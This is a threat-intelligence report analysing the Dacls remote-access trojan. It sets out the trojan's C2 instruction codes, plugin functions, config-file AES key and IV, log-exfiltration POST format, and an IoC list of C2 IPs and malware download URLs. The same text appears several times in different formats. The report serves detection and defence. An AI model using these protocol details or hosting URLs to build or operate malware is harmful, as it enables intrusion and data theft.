<p>The instructions accepted by Linux.Dacls Bot are a total of 12 bytes, but the actual effective size is 4 bytes, and it is divided into two control modes.</p>
<p>The first mode: when the third byte is 0, this is to control the Bot main logic.</p>
<p>The following is an example of the network sequence data packet corresponding to the 0x00000700 instruction: the mode is 0x00, and the instruction 2 is 0x07 to control Bot to upload host name information</p>
<table>
<thead>
<tr>
<th>INSTRUCTION 1</th>
<th>INSTRUCTION 2</th>
<th>MODE</th>
<th>UNKNOWN</th>
</tr>
</thead>
<tbody>
<tr>
<td>00</td>
<td>07</td>
<td>00</td>
<td>00</td>
</tr>
</tbody>
</table>
<p>The second mode: when the third byte is 1, the plug-in logic is called.</p>
<p>The following is an example of the network sequence data packet corresponding to the 0x00010101 instruction: the mode is 0x01, and the instruction 1 is 0x01.</p>
<table>
<thead>
<tr>
<th>INSTRUCTION 1</th>
<th>INSTRUCTION 2</th>
<th>MODE</th>
<th>UNKNOWN</th>
</tr>
</thead>
<tbody>
<tr>
<td>01</td>
<td>01</td>
<td>01</td>
<td>00</td>
</tr>
</tbody>
</table>
<p>After receiving the instruction, Bot returns 0x20500 on successful execution and 0x20600 on failure.</p>
<ul>
<li>C2 instruction list for the Bot main logic part</li>
</ul>
<table>
<thead>
<tr>
<th>MODULE</th>
<th>CMD</th>
<th>ENCRYPT</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Core</td>
<td>0x00000601</td>
<td>Yes</td>
<td>Upload C2 configuration information</td>
</tr>
<tr>
<td>Core</td>
<td>0x00000602</td>
<td>Yes</td>
<td>Download configuration information to <code>$HOME/.memcache</code></td>
</tr>
<tr>
<td>Core</td>
<td>0x00000700</td>
<td>Yes</td>
<td>Ask Bot to upload host information</td>
</tr>
<tr>
<td>Core</td>
<td>0x00000900</td>
<td>Yes</td>
<td>Ask Bot to send heartbeat information</td>
</tr>
</tbody>
</table>
<ul>
<li>C2 instruction list for the Bot plugin logic</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align:center">MODULE</th>
<th>CMD</th>
<th>ENCRYPT</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">/bin/bash</td>
<td>0x00010000</td>
<td>Yes</td>
<td>Execute the bash command issued by C2</td>
</tr>
<tr>
<td style="text-align:center">/bin/bash</td>
<td>0x00010002</td>
<td>Yes</td>
<td>Connect to the specified C2 and execute the issued system command</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010100</td>
<td>Yes</td>
<td>Write file</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010101</td>
<td>Yes</td>
<td>Read file</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010103</td>
<td>Yes</td>
<td>Delete Files</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010104</td>
<td>Yes</td>
<td>Scanning the directory structure</td>
</tr>
<tr>
<td style="text-align:center">plugin_file</td>
<td>0x00010110</td>
<td>Yes</td>
<td>Download file from specified url</td>
</tr>
<tr>
<td style="text-align:center">plugin_process</td>
<td>0x00010200</td>
<td>Yes</td>
<td>Scan and upload information about the host process</td>
</tr>
<tr>
<td style="text-align:center">plugin_process</td>
<td>0x00010201</td>
<td>Yes</td>
<td>Kill specified process</td>
</tr>
<tr>
<td style="text-align:center">plugin_process</td>
<td>0x00010202</td>
<td>Yes</td>
<td>Create a daemon process</td>
</tr>
<tr>
<td style="text-align:center">plugin_process</td>
<td>0x00010204</td>
<td>Yes</td>
<td>Obtain and report process PID and PPID</td>
</tr>
<tr>
<td style="text-align:center">plugin_test</td>
<td>0x00010300</td>
<td>Yes</td>
<td>Test whether the specified IP can be reached</td>
</tr>
<tr>
<td style="text-align:center">plugin_reverse_p2p</td>
<td>0x00010400</td>
<td>Yes</td>
<td>C2 Connection proxy</td>
</tr>
<tr>
<td style="text-align:center">logsend</td>
<td>0x00011100</td>
<td>Yes</td>
<td>Test if the Log server can be accessed</td>
</tr>
<tr>
<td style="text-align:center">logsend</td>
<td>0x00011101</td>
<td>Yes</td>
<td>Upload public network port scan results and command execution output</td>
</tr>
<tr>
<td style="text-align:center">logsend</td>
<td>0x00011102</td>
<td>Yes</td>
<td>No operation</td>
</tr>
</tbody>
</table>
<ul>
<li>C2 communication flowchart<br>
<a href="__GHOST_URL__/content/images/2019/12/c2_connection.png"><img src="__GHOST_URL__/content/images/2019/12/c2_connection.png" class="kg-image"/></a></li>
</ul>
<h4 id="pluginmodule">Plug-in module</h4>
<p>Linux.Dacls Bot uses static compilation to compile the plug-in and Bot code together. By sending different instructions to call different plug-ins, various tasks can be completed. The sample we analyzed contains a total of 6 plugins, because the configuration information of the plugin is a continuous array of structures (0x00 ~ 0x0e). We guess that Bot may have other more plugins.<br>
<a href="__GHOST_URL__/content/images/2019/12/plugin_num.png"><img src="__GHOST_URL__/content/images/2019/12/plugin_num.png" class="kg-image"/></a></p>
<p>Each plug-in has its own corresponding configuration, which is saved in the bot’s configuration file <code>$HOME/.memcache</code>. When the plug-in is initialized, the configuration information will be loaded.</p>
<h6 id="bashplugin">Bash plugin</h6>
<p>The Bash plug-in is plug-in number 0, it mainly supports two functions: receiving and executing system commands issued by the C2 server; C2 issues temporary new C2, bot then connects to the temporary C2 and executes system commands issued by the temporary C2.<br>
<a href="__GHOST_URL__/content/images/2019/12/bash.png"><img src="__GHOST_URL__/content/images/2019/12/bash.png" class="kg-image"/></a></p>
<h6 id="fileplugin">File plugin</h6>
<p>The main function of the File plugin is file management. In addition to supporting read, write, delete, and find operations on files, bot can also download files from a designated download server.<br>
<a href="__GHOST_URL__/content/images/2019/12/file.png"><img src="__GHOST_URL__/content/images/2019/12/file.png" class="kg-image"/></a></p>
<h6 id="processplugin">Process plugin</h6>
<p>The main function is process management, including: killing a specified process, creating a daemon process, obtaining the PID and PPID of the current process, and obtaining process list information.<br>
<a href="__GHOST_URL__/content/images/2019/12/process.png"><img src="__GHOST_URL__/content/images/2019/12/process.png" class="kg-image"/></a></p>
<p>If the <code>/proc/<pid>/task</code>directory corresponding to the PID in the Linux process exists, the Bot sample will collect the following process information:</p>
<ul>
<li><code>/proc/<pid>/cmdline</code> Read full name from command line</li>
<li>From <code>/proc/<pid>/status</code> reading:</li>
</ul>
<pre><code>Name //process name
Uid //user ID
Gid //group ID
PPid //parent ID
</code></pre>
<h6 id="testplugin">Test plugin</h6>
<p>The main function is to test network connectivity by connecting the IP address and port specified by C2.<br>
<a href="__GHOST_URL__/content/images/2019/12/test.png"><img src="__GHOST_URL__/content/images/2019/12/test.png" class="kg-image"/></a></p>
<h6 id="reversep2pplugin">Reverse P2P plugin</h6>
<p>The Reverse P2P plug-in is actually a C2 Connection Proxy, it<br>
directs network traffic between bots and C2 to avoid direct connections to their infrastructure. This is a common used technique by the Lazarus Group. With connection proxy, the number of target host connections can be reduced, and the communication between the target and the real C2 can be hidden. In some cases, an infected intranet host can be used to further penetrates into the isolated network segment.</p>
<p>reverse_p2p plugin initialization<br>
<a href="__GHOST_URL__/content/images/2019/12/reverse_p2p_init-1.png"><img src="__GHOST_URL__/content/images/2019/12/reverse_p2p_init-1.png" class="kg-image"/></a></p>
<p>When Bot receives a command, it first attempts to connect to the specified C2 port to send a 0x21000. If C2 returns 0x21300, the C2 connection is successful and the Bot will connect to the target IP:port. If it works, it will return 0x21100 to C2, indicating that the forwarding connection has been established and can start forwarding data. Now, Bot can forward the data sent by C2 to the target, and at the same time return the data returned by the target to C2, until either party interrupts the connection.</p>
<p>The following is the working flowchart of the Reverse P2P plugin:<br>
<a href="__GHOST_URL__/content/images/2019/12/reverse_p2p.png"><img src="__GHOST_URL__/content/images/2019/12/reverse_p2p.png" class="kg-image"/></a></p>
<h6 id="logsendplugin">LogSend plugin</h6>
<p>The LogSend plug-in mainly includes three functions: test the connection to the Log server, randomly scan the entire network's 8291 port and report to the Log server, execute system commands that take a long time and report the console output to the Log server in real time.</p>
<p>LogSend plugin initialization<br>
<a href="__GHOST_URL__/content/images/2019/12/logsend_init.png"><img src="__GHOST_URL__/content/images/2019/12/logsend_init.png" class="kg-image"/></a></p>
<p>LogSend related operation callback function<br>
<a href="__GHOST_URL__/content/images/2019/12/logsend.png"><img src="__GHOST_URL__/content/images/2019/12/logsend.png" class="kg-image"/></a></p>
<p>After testing the connection to the Log server, the<br>
Bot will send a test request to the Log server. If the Log server returns <code>{"result":"ok"}</code>, indicating that the test was successful, C2 can issue more LogSend instructions.</p>
<p>Sending the POST request using the HTTP interface address specified by C2 and the built-in User-Agent</p>
<pre><code>POST /%s HTTP/1.0
Host: %s
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cache-Control: no-cache
Connection: close
log=check
</code></pre>
<p>Randomly scan port 8291 on the entire network and report the result to the Log server.</p>
<p>After receiving the instruction, Bot will randomly generate a public IP address according to 3 built-in rules and try to connect to their port 8291. If the connection is successful, the scan result will be returned to the log server.</p>
<p>IP generation rules:</p>
<pre><code>ip = <part1>.<part2>.<part3>.<part4>
rule1: part1 != 127
rule2: part1 == 172 and (part2 <= 15 or part2 > 31)
rule3: part1 != 192 and part2 != 168
rule4: part1 != 10
</code></pre>
<p>The random IP generation algorithm is as follows<br>
<a href="__GHOST_URL__/content/images/2019/12/random_ip-1.png"><img src="__GHOST_URL__/content/images/2019/12/random_ip-1.png" class="kg-image"/></a></p>
<p>We can see that Bot hard-codes the TCP / 8291 port and calls the system connect function to perform port scan. It only checks whether the port is open and does not send payload data. We are not sure why TCP 8291 is targeted, but we know that the Winbox protocol of the MikroTik Router device works on TCP / 8291 port and is exposed on the Internet. Previously we also disclosed 2 articles about the TCP / 8291 port threat incident <a href="__GHOST_URL__/7500-mikrotik-routers-are-forwarding-owners-traffic-to-the-attackers-how-is-yours-en/">[1]</a><a href="__GHOST_URL__/quick-summary-port-8291-scan-en/">[2]</a>.<br>
<a href="__GHOST_URL__/content/images/2019/12/scan_8291.png"><img src="__GHOST_URL__/content/images/2019/12/scan_8291.png" class="kg-image"/></a></p>
<p>Execute bash command which takes a long time to finish and report the console output to the Log server in real time.<br>
<a href="__GHOST_URL__/content/images/2019/12/logsend_bash.png"><img src="__GHOST_URL__/content/images/2019/12/logsend_bash.png" class="kg-image"/></a></p>
<p>Execute the bash command and forward the output to the Log server.<br>
All reported Log data is submitted by HTTP POST. The format of the payload section is as follows:<br>
<code>log=save&session_id=<session id>&value=<log content></code><br>
<a href="__GHOST_URL__/content/images/2019/12/logsend_payload.png"><img src="__GHOST_URL__/content/images/2019/12/logsend_payload.png" class="kg-image"/></a></p>
<h3 id="suggestions">Suggestions</h3>
<p>We recommend that Confluence users patch their system in a timely manner and check whether they have been infected based on the process name, file name, and TCP network connection used by Dacls RAT.</p>
<p>We recommend that readers monitor and block Dacls RAT-related IPs, URLs and domain names.</p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, WeChat 360Netlab or email to netlab at 360 dot cn.</p>
<h4 id="ioclist">IoC list</h4>
<p>Sample MD5</p>
<pre><code>6de65fc57a4428ad7e262e980a7f6cc7
80c0efb9e129f7f9b05a783df6959812
982bf527b9fe16205fea606d1beed7fa
8910bdaaa6d3d40e9f60523d3a34f914
a99b7ef095f44cf35453465c64f0c70c
bea49839390e4f1eb3cb38d0fcaf897e
cef99063e85af8b065de0ffa9d26cb03
e883bf5fd22eb6237eb84d80bbcf2ac9
</code></pre>
<p>Hard-coded C2 IP：</p>
<pre><code>23.81.246.179 United States ASN19148 Leaseweb USA, Inc.
23.254.119.12 Canada ASN55286 B2 Net Solutions Inc.
23.227.196.116 United States ASN35017 Swiftway Sp. z o.o.
37.72.175.179 United States ASN29802 HIVELOCITY, Inc.
23.227.199.53 United States ASN35017 Swiftway Sp. z o.o.
107.172.197.175 United States ASN36352 ColoCrossing
172.93.201.219 United States ASN20278 Nexeon Technologies, Inc.
64.188.19.117 United States ASN8100 QuadraNet Enterprises LLC
74.121.190.121 United States ASN23033 Wowrack.com
192.210.213.178 United States ASN36352 ColoCrossing
209.90.234.34 United States ASN23033 Wowrack.com
198.180.198.6 United States ASN26658 HT
</code></pre>
<p>URL</p>
<pre><code>http://www.areac-agr.com/cms/wp-content/uploads/2015/12/check.vm
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/hdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/ldata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/mdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/r.vm
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/rdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/sdata.dat
</code></pre>
<!--kg-card-end: markdown--> | Background
On October 25, 2019, a suspicious ELF file (80c0efb9e129f7f9b05a783df6959812) was flagged by our new threat monitoring system. At first glance, it seems to be just another one of the regular botnets, but we soon realized this is something with potential link to the Lazarus Group.
At present, the industry has never disclosed the Lazarus Group's attack samples and cases against the Linux platform. And our analysis shows that this is a fully functional, covert and RAT program targeting both Windows and Linux platforms, and the samples share some key characters being used by Lazarus Group.
The links between Lazarus Group and Dacls RAT
First, we searched VT for the hardcoded string c_2910.cls and k_3872.cls in the sample and found 5 more samples. We can confirm from their sample and C2 instruction codes that they are the same RAT family, and is suitable for Windows and Linux platforms, respectively.
One of the 5 samples 6de65fc57a4428ad7e262e980a7f6cc7 was pointed to as Lazarus Group by the user Raeezabdulla of the VirusTotal community, and cited a report "CES Themed Targeting from Lazarus". This sample also has download address of https://thevagabondsatchel.com/wp-content/uploads/2019/03/wm64.avi. In October 2019, a sample named NukeSped was tagged by Twitter user @cyberwar_15 as Lazarus Group. And that sample file b578ccf307d55d3267f98349e20ecff1 has the download url as http://thevagabondsatchel.com/wp-content/uploads/2019/09/public.avi
A quick google returns many Lazarus Group analysis reports and some open source threat intelligence data, many pointing out that thevagabondsatchel.com was used by Lazarus Group to store samples.
Therefore, we speculate that the attacker behind Dacls RAT is Lazarus Group.
Currently this sample is shown on VirusTotal with 26 pretty generic malware tag from by 26 antivirus vendors with no relevant analysis report. Therefore, we think it is necessary to disclose some of its technical detail here.
We name it Dacls (Win32.Dacls and Linux.Dacls) based on its file name and hard-coded strings.
Dacls overview
Dacls is a new type of remote-control software targeting both Windows and Linux environment. Its functions are modular, the C2 protocol uses TLS and RC4 double-layer encryption, the configuration file uses AES encryption and supports C2 instruction dynamic update. The Win32.Dacls plug-in module is dynamically loaded through a remote URL, and the Linux version of the plug-in is compiled directly in the Bot program.
Downloader server
We found a series of samples on a suspected download server http://www.areac-agr.com/cms/wp-content/uploads/2015/12/, including Win32.Dacls, Linux.Dacls, the open source program Socat, and working payload for Confluence CVE-2019-3396. We speculated that the Lazarus Group used the CVE-2019-3396 N-day vulnerability to spread the Dacls Bot program.
MD5 (check.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload
MD5 (hdata.dat) = 982bf527b9fe16205fea606d1beed7fa //Log Collector
MD5 (ldata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot
MD5 (mdata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot
MD5 (r.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload
MD5 (rdata.dat) = bea49839390e4f1eb3cb38d0fcaf897e //Windows Dacls Bot
MD5 (sdata.dat) = e883bf5fd22eb6237eb84d80bbcf2ac9 //Open-Source Socat
Reverse analysis
Log Collector sample
* MD5: 982bf527b9fe16205fea606d1beed7fa
ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
The function of this sample is simple. It collects the target host information by specifying the parameters of the log collecting process. It avoids scanning some specified root and secondary directories, and write the retrieved file path to /tmp/hdv.log.
Avoid Scanning Root Directory
/bin
/boot
/dev
/etc
/lib
/lib32
/lib64
/lost+found
/sbin
/sys
/tmp
/proc
/run
Avoid Scanning Secondary Directory
/usr/bin
/usr/etc
/usr/games
/usr/include
/usr/lib
/usr/lib32
/usr/lib64
/usr/libexec
/usr/sbin
/usr/share
/usr/src
/usr/tmp
/var/adm
/var/cache
/var/crash
/var/db
/var/empty
/var/games
/var/gopher
/var/kerberos
/var/lock
/var/nis
/var/preserve
/var/run
/var/yp
Sample logging format
deep name type size last date
0 / D 0 000000000000
1 bin D 0 201911290628
2 bash F 1037528 201907121226
2 bunzip2 F 31352 201907040536
2 busybox F 1984584 201903070712
2 bzcat F 31352 201907040536
2 bzcmp F 2140 201907040536
....
When all the work is done, it executes the system tar command to compress the log file tar -cvzf /tmp/hdv.rm /tmp/hdv.log and upload it to the specified log collecting interface.
Linux.Dacls sample
* MD5: 80c0efb9e129f7f9b05a783df6959812
ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e14724498374cb9b80a77b7bfeb1d1bd342ee139, stripped
The main functions of Linux.Dacls Bot include: command execution, file management, process management, test network access, C2 connection agent, network scanning module.
Initialization
After Linux.Dacls Bot is started, it runs in the daemon mode in the background, and uses the startup parameters /pro, the Bot PID file, /var/run/init.pid and the Bot process name /proc/<pid>/cmdlineto distinguish different operating environments. We suspect that it may be used for Bot program upgrades.
Configuration file .memcahce
The Linux.Dacls Bot configuration file is stored at $HOME/.memcache, and the file content is 0x8E20 + 4 bytes. If Bot cannot find the configuration file after startup, it will use AES encryption to generate the default configuration file based on the hard-coded information in the sample. After successful Bot communicates with C2, the configuration file will get updated.
Data structure
We define the data structure information of the configuration file as struct_global_cfg, which stores the Bot operating parameters, C2 information, and plug-in information.
struct struct_plugin_cfg_data
{
int plugin_id;
int plugin_type;
int unk3;
char name[1040];
};
struct struct_c2_content
{
char content[2048];
};
struct struct_global_cfg
{
int session_id;
int unk_const1;
int sus_version_20190417;
int connect_retry_sleep_time;
char unk_array1[88];
int c2_num;
struct_c2_content c2_list[3];
char unknown_filed_186C[14340];
struct_plugin_cfg_data plug_cfg_data_list[15];
};
AES encryption algorithm
* AES，CBC Mode
* Key：A0 D2 89 29 27 78 75 F6 AA 78 C7 98 39 A0 05 ED
* IV：39 18 82 62 33 EA 18 BB 18 30 78 97 A9 E1 8A 92
Decrypting the configuration file
After decrypting the configuration file, we can see some plain text information in it, for example: session ID, version information, reconnection time for C2, C2 information, etc. After successfully connecting to C2, the configuration file will be updated according to received C2 instructions, such as adding new plugin information supported by the Bot, updated C2 information, etc.
C2 protocol
Linux.Dacls Bot and C2 communication is mainly divided into three stages, and uses TLS and RC4 double-layer encryption algorithms to ensure data communication security. The first phase is to establish a TLS connection, the second phase is to establish agreement for authentication process (Malware Beaconing), and the third phase is to send RC4 encrypted data by Bot.
SSL connection
Phase 2
Several Beacon messages and C2 confirm each other's identity are exchanged here.
Cmd
Direction
Encrypted
Description
0x20000
send
no
Beacon
0x20100
recv
no
Beacon
0x20200
send
no
Beacon
RC4 encryption and decryption process
*
RC4 Key generation algorithm, generated by random function, Key length range: greater than 0 and less than 50
*
Replacement table generation algorithm, generate replacement table for RC4 encryption based on RC4 Key
*
Encryption / decryption algorithm, complete encryption / decryption according to the replacement table generation algorithm. Because RC4 is a symmetric encryption algorithm, the encryption / decryption algorithm is consistent
*
RC4 decryption example
After completing the protocol authentication, Bot sends the RC4 Key length (the first 4 bytes) and RC4 Key data to C2.
C2 receives the encryption key and sends the ciphertext to Bot. After decryption, the command is 0x00000700. After that, Bot will upload the hostname-related information to C2.
Key:
a3 2f c2 10 f3 92 79 c3 0e f6 e4 e5 2e 69 29 86
0d 3a 92 f5 b7 23 fc 91 d9 46 91 55 a3 86 5a 47
36 1d 58 2a af d1 6d 3d 49 52 23 77 bc 4d fd 49
87
Ciphertext:
fe 3c 2c d7 bf 08 e3 91 d7 00 1f d0
Plaintext:
00 07 00 00 00 00 00 00 00 00 00 00
C2 instruction code table
The instructions accepted by Linux.Dacls Bot are a total of 12 bytes, but the actual effective size is 4 bytes, and it is divided into two control modes.
The first mode: when the third byte is 0, this is to control the Bot main logic.
The following is an example of the network sequence data packet corresponding to the 0x00000700 instruction: the mode is 0x00, and the instruction 2 is 0x07 to control Bot to upload host name information
INSTRUCTION 1
INSTRUCTION 2
MODE
UNKNOWN
00
07
00
00
The second mode: when the third byte is 1, the plug-in logic is called.
The following is an example of the network sequence data packet corresponding to the 0x00010101 instruction: the mode is 0x01, and the instruction 1 is 0x01.
INSTRUCTION 1
INSTRUCTION 2
MODE
UNKNOWN
01
01
01
00
After receiving the instruction, Bot returns 0x20500 on successful execution and 0x20600 on failure.
* C2 instruction list for the Bot main logic part
MODULE
CMD
ENCRYPT
Description
Core
0x00000601
Yes
Upload C2 configuration information
Core
0x00000602
Yes
Download configuration information to $HOME/.memcache
Core
0x00000700
Yes
Ask Bot to upload host information
Core
0x00000900
Yes
Ask Bot to send heartbeat information
* C2 instruction list for the Bot plugin logic
MODULE
CMD
ENCRYPT
Description
/bin/bash
0x00010000
Yes
Execute the bash command issued by C2
/bin/bash
0x00010002
Yes
Connect to the specified C2 and execute the issued system command
plugin_file
0x00010100
Yes
Write file
plugin_file
0x00010101
Yes
Read file
plugin_file
0x00010103
Yes
Delete Files
plugin_file
0x00010104
Yes
Scanning the directory structure
plugin_file
0x00010110
Yes
Download file from specified url
plugin_process
0x00010200
Yes
Scan and upload information about the host process
plugin_process
0x00010201
Yes
Kill specified process
plugin_process
0x00010202
Yes
Create a daemon process
plugin_process
0x00010204
Yes
Obtain and report process PID and PPID
plugin_test
0x00010300
Yes
Test whether the specified IP can be reached
plugin_reverse_p2p
0x00010400
Yes
C2 Connection proxy
logsend
0x00011100
Yes
Test if the Log server can be accessed
logsend
0x00011101
Yes
Upload public network port scan results and command execution output
logsend
0x00011102
Yes
No operation
* C2 communication flowchart
Plug-in module
Linux.Dacls Bot uses static compilation to compile the plug-in and Bot code together. By sending different instructions to call different plug-ins, various tasks can be completed. The sample we analyzed contains a total of 6 plugins, because the configuration information of the plugin is a continuous array of structures (0x00 ~ 0x0e). We guess that Bot may have other more plugins.
Each plug-in has its own corresponding configuration, which is saved in the bot’s configuration file $HOME/.memcache. When the plug-in is initialized, the configuration information will be loaded.
Bash plugin
The Bash plug-in is plug-in number 0, it mainly supports two functions: receiving and executing system commands issued by the C2 server; C2 issues temporary new C2, bot then connects to the temporary C2 and executes system commands issued by the temporary C2.
File plugin
The main function of the File plugin is file management. In addition to supporting read, write, delete, and find operations on files, bot can also download files from a designated download server.
Process plugin
The main function is process management, including: killing a specified process, creating a daemon process, obtaining the PID and PPID of the current process, and obtaining process list information.
If the /proc/<pid>/taskdirectory corresponding to the PID in the Linux process exists, the Bot sample will collect the following process information:
* /proc/<pid>/cmdline Read full name from command line
* From /proc/<pid>/status reading:
Name //process name
Uid //user ID
Gid //group ID
PPid //parent ID
Test plugin
The main function is to test network connectivity by connecting the IP address and port specified by C2.
Reverse P2P plugin
The Reverse P2P plug-in is actually a C2 Connection Proxy, it
directs network traffic between bots and C2 to avoid direct connections to their infrastructure. This is a common used technique by the Lazarus Group. With connection proxy, the number of target host connections can be reduced, and the communication between the target and the real C2 can be hidden. In some cases, an infected intranet host can be used to further penetrates into the isolated network segment.
reverse_p2p plugin initialization
When Bot receives a command, it first attempts to connect to the specified C2 port to send a 0x21000. If C2 returns 0x21300, the C2 connection is successful and the Bot will connect to the target IP:port. If it works, it will return 0x21100 to C2, indicating that the forwarding connection has been established and can start forwarding data. Now, Bot can forward the data sent by C2 to the target, and at the same time return the data returned by the target to C2, until either party interrupts the connection.
The following is the working flowchart of the Reverse P2P plugin:
LogSend plugin
The LogSend plug-in mainly includes three functions: test the connection to the Log server, randomly scan the entire network's 8291 port and report to the Log server, execute system commands that take a long time and report the console output to the Log server in real time.
LogSend plugin initialization
LogSend related operation callback function
After testing the connection to the Log server, the
Bot will send a test request to the Log server. If the Log server returns {"result":"ok"}, indicating that the test was successful, C2 can issue more LogSend instructions.
Sending the POST request using the HTTP interface address specified by C2 and the built-in User-Agent
POST /%s HTTP/1.0
Host: %s
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cache-Control: no-cache
Connection: close
log=check
Randomly scan port 8291 on the entire network and report the result to the Log server.
After receiving the instruction, Bot will randomly generate a public IP address according to 3 built-in rules and try to connect to their port 8291. If the connection is successful, the scan result will be returned to the log server.
IP generation rules:
ip = <part1>.<part2>.<part3>.<part4>
rule1: part1 != 127
rule2: part1 == 172 and (part2 <= 15 or part2 > 31)
rule3: part1 != 192 and part2 != 168
rule4: part1 != 10
The random IP generation algorithm is as follows
We can see that Bot hard-codes the TCP / 8291 port and calls the system connect function to perform port scan. It only checks whether the port is open and does not send payload data. We are not sure why TCP 8291 is targeted, but we know that the Winbox protocol of the MikroTik Router device works on TCP / 8291 port and is exposed on the Internet. Previously we also disclosed 2 articles about the TCP / 8291 port threat incident [1][2].
Execute bash command which takes a long time to finish and report the console output to the Log server in real time.
Execute the bash command and forward the output to the Log server.
All reported Log data is submitted by HTTP POST. The format of the payload section is as follows:
log=save&session_id=<session id>&value=<log content>
Suggestions
We recommend that Confluence users patch their system in a timely manner and check whether they have been infected based on the process name, file name, and TCP network connection used by Dacls RAT.
We recommend that readers monitor and block Dacls RAT-related IPs, URLs and domain names.
Contact us
Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab at 360 dot cn.
IoC list
Sample MD5
6de65fc57a4428ad7e262e980a7f6cc7
80c0efb9e129f7f9b05a783df6959812
982bf527b9fe16205fea606d1beed7fa
8910bdaaa6d3d40e9f60523d3a34f914
a99b7ef095f44cf35453465c64f0c70c
bea49839390e4f1eb3cb38d0fcaf897e
cef99063e85af8b065de0ffa9d26cb03
e883bf5fd22eb6237eb84d80bbcf2ac9
Hard-coded C2 IP：
23.81.246.179 United States ASN19148 Leaseweb USA, Inc.
23.254.119.12 Canada ASN55286 B2 Net Solutions Inc.
23.227.196.116 United States ASN35017 Swiftway Sp. z o.o.
37.72.175.179 United States ASN29802 HIVELOCITY, Inc.
23.227.199.53 United States ASN35017 Swiftway Sp. z o.o.
107.172.197.175 United States ASN36352 ColoCrossing
172.93.201.219 United States ASN20278 Nexeon Technologies, Inc.
64.188.19.117 United States ASN8100 QuadraNet Enterprises LLC
74.121.190.121 United States ASN23033 Wowrack.com
192.210.213.178 United States ASN36352 ColoCrossing
209.90.234.34 United States ASN23033 Wowrack.com
198.180.198.6 United States ASN26658 HT
URL
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/check.vm
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/hdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/ldata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/mdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/r.vm
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/rdata.dat
http://www.areac-agr.com/cms/wp-content/uploads/2015/12/sdata.dat
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Background\nOn October 25, 2019, a suspicious ELF file (80c0efb9e129f7f9b05a783df6959812) was flagged by our new threat monitoring system. At first glance, it seems to be just another one of the regular botnets, but we soon realized this is something with potential link to the Lazarus Group. \n\nAt present, the industry has never disclosed the Lazarus Group's attack samples and cases against the Linux platform. And our analysis shows that this is a fully functional, covert and RAT program targeting both Windows and Linux platforms, and the samples share some key characters being used by Lazarus Group. \n\n### The links between Lazarus Group and Dacls RAT\nFirst, we searched VT for the hardcoded string ```c_2910.cls``` and ```k_3872.cls``` in the sample and found 5 more samples. We can confirm from their sample and C2 instruction codes that they are the same RAT family, and is suitable for Windows and Linux platforms, respectively. \n\nOne of the 5 samples ```6de65fc57a4428ad7e262e980a7f6cc7``` was pointed to as Lazarus Group by the user Raeezabdulla of the VirusTotal community, and cited a report \"CES Themed Targeting from Lazarus\". This sample also has download address of ```https://thevagabondsatchel.com/wp-content/uploads/2019/03/wm64.avi```. In October 2019, a sample named NukeSped was tagged by Twitter user @cyberwar_15 as Lazarus Group. And that sample file ```b578ccf307d55d3267f98349e20ecff1``` has the download url as ```http://thevagabondsatchel.com/wp-content/uploads/2019/09/public.avi```\n\nA quick google returns many Lazarus Group analysis reports and some open source threat intelligence data, many pointing out that thevagabondsatchel.com was used by Lazarus Group to store samples.\n\nTherefore, we speculate that the attacker behind Dacls RAT is Lazarus Group.\n<a href=\"__GHOST_URL__/content/images/2019/12/dacls_graph.png\"><img src=\"__GHOST_URL__/content/images/2019/12/dacls_graph.png\" class=\"kg-image\"/></a>\n\nCurrently this sample is shown on VirusTotal with 26 pretty generic malware tag from by 26 antivirus vendors with no relevant analysis report. Therefore, we think it is necessary to disclose some of its technical detail here.\n\nWe name it Dacls (Win32.Dacls and Linux.Dacls) based on its file name and hard-coded strings.\n\n## Dacls overview\nDacls is a new type of remote-control software targeting both Windows and Linux environment. Its functions are modular, the C2 protocol uses TLS and RC4 double-layer encryption, the configuration file uses AES encryption and supports C2 instruction dynamic update. The Win32.Dacls plug-in module is dynamically loaded through a remote URL, and the Linux 